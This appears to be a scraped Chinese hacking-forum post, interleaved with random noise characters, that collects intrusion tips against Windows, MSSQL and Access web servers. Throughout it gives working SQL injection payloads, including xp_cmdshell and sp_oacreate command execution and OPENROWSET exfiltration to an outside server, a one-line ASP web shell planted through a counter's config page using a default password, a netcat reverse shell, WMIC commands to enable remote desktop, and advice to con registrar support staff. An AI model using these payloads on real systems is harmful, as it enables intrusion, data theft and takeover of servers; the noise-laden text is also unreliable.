SA点数据库分离技术相关; B5 `$ k5 N2 U4 C
) K2 ^3 k/ h& @1 y- X2 H$ S+ c3 |6 A
SA点数据库分离搞法+语句:1 f X; P* Y/ A
- W; Y. c1 y# I% j& b/ {! x+ i5 u注射点不显错,执行下面三条语句页面都返回正常。7 r" d; R- I! g
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread') ^, t+ B+ A' L# x; q3 Z( G/ Q' y
and 1=(select count(*) FROM master.dbo.sysobjects where name= 'sp_makewebtask')
7 \- b* H+ d0 ~: a2 ]and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')2 n; F5 ^& S6 j4 ]2 |& ~) J ^
可以列目录，判断系统为2000，web与数据库分离
[4 o' `' [$ w- x遇到这种情况首先要想办法得到数据库IP来进行下一步得渗透了。
6 v; R) ~( F B7 Z# x' P. w2 b在注射点上执行5 j7 B; P7 }. k6 Z- q, G- [7 n6 V
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd /c net user ';--
( y n7 u% {9 B$ R2 e页面返回正常，通过上面这个命令执行telnet我一个外网肉鸡得1433端口，然后netstat/an没有得到IP
. v0 x* w8 T6 O; w' D% C还有我用NC监听得其他端口都没有得到IP。
+ \( q% [. ]/ F5 N. c3 }4 Q$ t% A9 O T( T0 S' v# f5 l7 g$ S: W
通过注射点执行下面这两个命令页面都返回异常，在肉鸡上面同样也是没有得到IP。
/ ?$ H, S/ y4 Y" D5 B% ~$ b2 q, P Q6 M'insert into opendatasource('sqloledb','server=xxx.xxx.xxx.xxx;uid=sasa;pwd=sasa;database=tempdb').tempdb.dbo.temp select name from master.dbo.sysdatabases--+ V+ `1 [% E' \
% I6 L1 j) X2 Y1 o
;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=pass;Network=DBMSSOCN;Address=xxx.xxx.xxx.xxx,1433;', 'select * from dest_table') select * from src_table;--) w' \& N- ]( f& G
& Y/ P2 L" {3 k0 w1 A
现在就猜想是不是数据库是内网而且不能连外网。( o" S" n v& ?) k6 i
2 ~# t5 R# W3 t, S- }- U6 j F. I% k; j
access导出txt文本代码/ e/ S7 v" @3 Y! N, r# U
SELECT * into [test.txt] in 'd:\web\' 'text;' from admin7 l- g' d" i7 {9 X, s. b" c9 F: v
, { k: J7 m+ q: U' h! M4 A w' t/ v! V0 X
7 j, g$ o; }) i3 E `4 T自动跳转到指定网站代码头
( k" f* y6 }) a<body onload='vbscript:document.links(0).href="http://www.google.com":document.links(0).innerHTML="www.sohu.com"'># c3 ~4 { a4 B- v8 t" a, m
% Q: N5 i9 v; E" D# R
4 `( O. ?' M! D C, D, |1 g入侵java or jsp站点时默认配置文件路径:
1 i3 l. x. M4 f( W7 E; n3 X5 p+ @* v\web-inf\web.xml
+ [+ o' j1 u) a8 _3 p" N3 B9 atomcat下的配置文件位置:1 {( j/ b7 U: U
\conf\server.xml (前面加上tomcat路径)0 P+ Y3 J9 w3 i* `2 `
\Tomcat 5.0\webapps\root\web-inf\struts-config.xml
, y h! `( ~7 v# ^# d- E+ L. q- `2 @( l8 F$ s# l
" N d* X# n( L
9 e- a( G( C8 ^5 z! |- s' b( E检测注入点新方法运算符法,在过滤了and or cookies时用比有效果:- E# Y! X: d( a3 x6 ^$ m5 _- v
-1%23
( N" @# d$ R3 }, v+ Z! R: B' j>
5 Z5 _/ D- U' |9 b9 u9 w/ s2 ?<
5 @" [0 L) ~) b9 B/ r1'+or+'1'='1- j- G$ N( {0 p: k) F$ l* c$ T( v! }
id=8%bf# M. ^/ R" c9 D% T2 O
+ ]5 ?7 x8 C8 _8 {2 W全新注入点检测试法:) W' y8 S' b( C# R$ w9 w" H
在URL地址后面加上-1，URL变成：http://gzkb.goomoo.cn/news.asp?id=123-1，如果返回的页面和前面不同，是另一则新闻，则表示有注入漏洞，是数字型的注入漏洞;在 URL地址后面加上 -0，URL变成 http://gzkb.goomoo.cn/news.asp?id=123-0，返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞，是数字型的。
7 O( q+ g2 B I f. N0 s" X! n8 `# X4 W! Y/ V1 F0 m- S
在URL的地址后面加上'%2B'，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2B'，返回的页面和1同;加上'2%2B'asdf，URL地址变为：http://gzkb.goomoo.cn/news.asp?id=123'%2Basdf，返回的页面和1不同，或者说未发现该条记录，或者错误，则表示存在注入点，是文本型的。2 z; z7 [* D. J1 [# U
8 w. q3 Y! L8 F9 n6 Y: Q- x
搜索型注入判断方法:
/ [ H1 W( A1 p9 \北京%' and '1'='1' and '%'='
* I9 P% Z- s5 @& u3 l. o北京%' and '1'='2' and '%'='8 t7 k3 A0 Q; _# j) J0 a
) F( J' f, f& r4 c' o3 w2 G/ U9 C" g$ y0 R, t' ~+ ~
COOKIES注入:
4 s; F# j3 Q7 }5 ~+ U% M) q1 X8 }% c' I5 ?) G: E Z- ^
javascript:alert(document.cookie="id="+escape("51 and 1=1"));& g8 y" M* H# @3 t
' a- W* N; ]+ C
2000专业版查看本地登录用户命令:
3 \ A; u' P, n; L4 M3 _" Jnet config workstation) Q5 Q' j3 x5 w7 a( s$ v8 o k/ I/ p
7 [" s) r7 C- z% a6 E/ n
6 I* w5 o2 n9 Y2003下查看ipsec配置和默认防火墙配置命令:. [5 _& q! B- O$ m" ?" m3 s
netsh firewall show config8 H. s2 d- ]- n" H* E9 ~6 W9 m
netsh ipsec static show all
8 p% H1 O( H8 S( `2 H
& u' Q+ }, ~* q5 x* E8 x& e不指派指定策略命令:
b4 a4 H9 |1 w$ v2 k/ g8 X! f% b" snetsh ipsec static set policy name=test assign=n (test是不指派的策略名); A! ?. ~2 I1 p. { a6 b
netsh ipsec static show policy all 显示策略名
$ X; x7 Q4 ?" {4 X, R0 x: X6 `/ c" R! z# h' ^2 h
2 B. c1 t6 v: D' @% X/ }8 j' U: i猜管理员后台小技巧:
6 ]- @3 H+ Z, @2 h1 F+ N% `admin/left.asp
E; j, e+ I5 C; w4 Gadmin/main.asp
- s M* [; f1 F9 T! s) Wadmin/top.asp
$ ~/ `* J3 y( V/ s+ A9 y) yadmin/admin.asp ; W3 \- ]) O6 L0 P4 E8 M: S5 ]
会现出菜单导航,然后迅雷下载全部链接
6 T9 j4 r! p% t# q4 y
& K( N0 ]5 l4 |4 W8 t$ ~4 j- [6 V! I, Q: |& n
社会工程学:
8 e: t4 A6 r/ w$ {. P, C! Q7 X- p用这个查信息 http://tool.chinaz.com/ Whois查域名注册人和维护人
+ L: o0 [9 @. T5 w0 e, D, T/ _2 d2 r然后去骗客服 O# W# `# h5 Z2 H1 R) k
6 }; V: @2 w6 {9 t
7 F" Z% A5 H2 I9 s! M* E6 ?
统计系统使用的是IT学习者的统计系统，在网上下载了一套回来研究。这样的系统拿webshell一般就二种：1.数据库插一句话木马，客户端连接得到。2.网站配置页面写入木马代码拿webshell。打开数据库目录，发现数据库扩展名是asp的，默认路径:data/#ITlearner.asp,把数据库扩展名改成*.mdb，用明小子的数据库工具打开，发现有防下载的表。管理员的默认密码是：ITlearner。数据库插一句话木马这条路是走不通了，现在只有看第二种方法看行不。输入默认密码进入 http://www.cnc-XX.com/admin/cutecounter /admin.asp?action=ShowConfig,查看原代码：
0 M8 ]; j! i3 d4 V3 e; N6 c( g查找 修改maxlength="3"为maxlength="100">这里是为了突破固定长度的字符输入。然后查找 处 修改为action="http://www.cnc-XX.com/admin/cutecounter/admin?Action=SaveConfig">， + X* H4 l6 T# Z, h) E1 }2 l" R& b* {
存为html文件打开后在最后详细来访信息记录多少条记录，默认为100条框输入100:eval request(chr(35))，点击保存。提示无法找到，结果发现。) \' R5 k8 S' g1 Z0 h
! n- A: ?6 j3 L9 {. ^0 I; M2 \( e4 \+ a# L, J$ |
2 u8 D8 r9 p' Z3 P* A' O6. 554端口 用real554.exe入侵。 6129端口 用dameware6129.exe入侵。 系统漏洞 利用135、445端口，用ms03026、ms03039、ms03049、ms04011漏洞， 进行溢出入侵。 3127等端口 可以利用doom病毒开的端口，用nodoom.exe入侵。（可用mydoomscan.exe查）
* M; K. d/ j. E5 A+ |; a0 e/ b1 f/ V! |# {
; P( Y! I3 k" }+ f4 q
1 j# ]! f* [( G2 SCMD加密注册表位置
4 P$ d: ]* |; a% C& `3 I(1)HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor- t1 m3 F6 D5 [' e) q9 F! b
AutoRun
% O& x+ O! [7 C) J0 `8 y( F$ E+ L* k7 G5 P: y
(2)HKEY_CURRENT_USER\Software\Microsoft\Command Processor9 A8 R2 ]4 h( n$ D d( |- t
AutoRun. x9 T4 I1 \: L% V
1 n7 @; e- }3 k7 T
|: W/ j% E: i/ D& r; X" v! u在找注入时搜索Hidden,把他改成test
2 v/ t' Y2 W" N) t, s7 f8 m- C
& Y* Q, f( {3 w5 h% Q/ U
. B. M0 N7 _2 \, u; y& L( i0 w5 H
mstsc /v:IP /console
2 R Y6 Q" [# {3 B: J" X" Q
3 g% r2 o: M$ ]$ \- r1 g
! J5 r7 G! D4 o0 ~; \ j1 Y' K9 K一句话开3389:
, I* h! T/ R }1 |$ M5 [4 S* d0 b4 `7 y- S3 Y" X( g# a$ u8 z) s1 g2 w
最近我在网上看到新出了一种方法,一句话开3389,不过好像听说只能用于2003系统,唉,还是写出来和大家分享一下吧.很简单的,wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 adh=Kp e!w 8 kw`=wSH>
- s9 G8 q; Z6 y9 d) N' a$ I0 F; k4 e3 W' Y开远程：WMIC /node:"远程机器名" /user:"administrator" /password:"lcx" RDTOGGLE WHERE ServerName='远程机器名' call SetAllowTSConnections 1 就是这样了,其实还有其他的一些方法开2003的3389,我这里也不多作介绍了,大家有空上网一查就知道了.
. G5 w+ D6 ] o# n6 Z) R) J: C+ P$ T! C
I2 H0 A* r! [: C% h知道表名，字段，使用SQL语句在ACCESS数据库中加个用户名及密码语句如下:9 x8 _3 y) N4 N3 A. h
Insert into admin(user,pwd) values('test','test')
6 H. V, y! q2 {- C
$ D/ Z k3 D0 J8 m" h% k% ]
; s; k* s* i' k2 K6 zNC反弹! v5 s+ o! h0 }7 J; }" Y' b1 s
先在本机执行： nc -vv -lp 监听的端口 (自己执行)
# A% x7 ?6 @) Q; p3 c然后在服务器上执行： nc -e cmd.exe 自己的IP 和监听的端口 (对方执行)
; d+ D7 F/ f; o/ N
: ^; }. Y9 k, A6 ?: M8 Z
" Z: o( F# l7 E! q. Q在脚本入侵过程中要经常常试用%00来确认下参数是否有问题
3 A0 Z" a+ c/ g. q- c& g4 ?# E: o) i' ~6 ~: T4 @8 ]
有时候我们入侵的时候，在webshell没有办法列举网站的目录包括dir也不行的时候，这个时候可以尝试用DOS命令SUBST转移目录6 w: E( A0 T5 x. l
例如:
4 M7 m8 N5 o5 N7 g3 w3 Y9 }subst k: d:\www\ 用d盘www目录替代k盘1 n- I! t& o; c9 s3 g& Z9 V. o* y/ @
subst k: /d 解除K盘代替 |
匿名
发表于 2017-12-20 02:36:51
发表于 2012-9-15 14:41:29
收藏
支持
反对